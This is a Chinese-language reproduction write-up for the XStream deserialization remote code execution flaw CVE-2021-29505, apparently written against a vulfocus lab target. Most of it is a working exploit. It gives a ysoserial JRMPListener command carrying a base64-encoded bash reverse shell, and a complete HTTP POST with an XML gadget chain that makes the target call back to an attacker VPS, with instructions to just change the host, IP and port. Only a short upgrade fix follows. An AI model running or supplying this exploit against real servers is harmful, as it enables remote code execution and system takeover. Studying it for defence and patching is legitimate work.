xstream 远程代码执行 （CVE-2021-29505）

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xstream 远程代码执行 （CVE-2021-29505）

0x01 漏洞描述

XStream是XStream（Xstream）团队的一个轻量级的、简单易用的开源Java类库，它主要用于将对象序列化成XML（JSON）或反序列化为对象。 通过该漏洞，攻击者构造特定的XML，绕过XStream的黑名单，最终触发反序列化造成任意代码执行。

0x02 影响范围

XStream <= 1.4.16

0x03 漏洞复现

访问靶场

(1)启动jrmp服务

最后"" bash 部分 用base64加密后的反弹shell语句

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1098 CommonsCollections6 "bash -c {echo,L2Jpbi9iYxxxxxxxxPiYx}|{base64,-d}|{bash,-i}"

下方是执行成功的poc，修改请求头host 和请求体的 ip port即可

poc

POST / HTTP/1.1
Host: vulfocus.fofa.so:29131 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Content-Length: 3113

<java.util.PriorityQueue serialization='custom'>
    <unserializable-parents/>
    <java.util.PriorityQueue>
        <default>
            <size>2</size>
        </default>
        <int>3</int>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.org.apache.xpath.internal.objects.XString'>
                <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
                <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
                    <parsedMessage>true</parsedMessage>
                    <soapVersion>SOAP_11</soapVersion>
                    <bodyParts/>
                    <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
                        <attachmentsInitialized>false</attachmentsInitialized>
                        <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                            <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
                                <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
                                    <names>
                                        <string>aa</string>
                                        <string>aa</string>
                                    </names>
                                    <ctx>
                                        <environment/>
                                        <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
                                            <java.rmi.server.RemoteObject>
                                                <string>UnicastRef</string>
                                                <string>VPS IP地址</string>
                                                <int>1098</int>
                                                <long>0</long>
                                                <int>0</int>
                                                <long>0</long>
                                                <short>0</short>
                                                <boolean>false</boolean>
                                            </java.rmi.server.RemoteObject>
                                        </registry>
                                        <host>192.168.0.102</host>
                                        <port>1098</port>
                                    </ctx>
                                </candidates>
                            </aliases>
                        </nullIter>
                    </sm>
                </message>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
    </java.util.PriorityQueue>
</java.util.PriorityQueue>

0x04 漏洞修复

将xstream升级到1.4.17或以上版本。（在maven的/pom.xml中替换高版本xstream）

<dependency>
    <groupId>com.thoughtworks.xstream</groupId>
    <artifactId>xstream</artifactId>
    <version>1.4.17</version>
</dependency>

参考

https://zhuanlan.zhihu.com/p/375239304

感谢 thelostworld师傅文章分享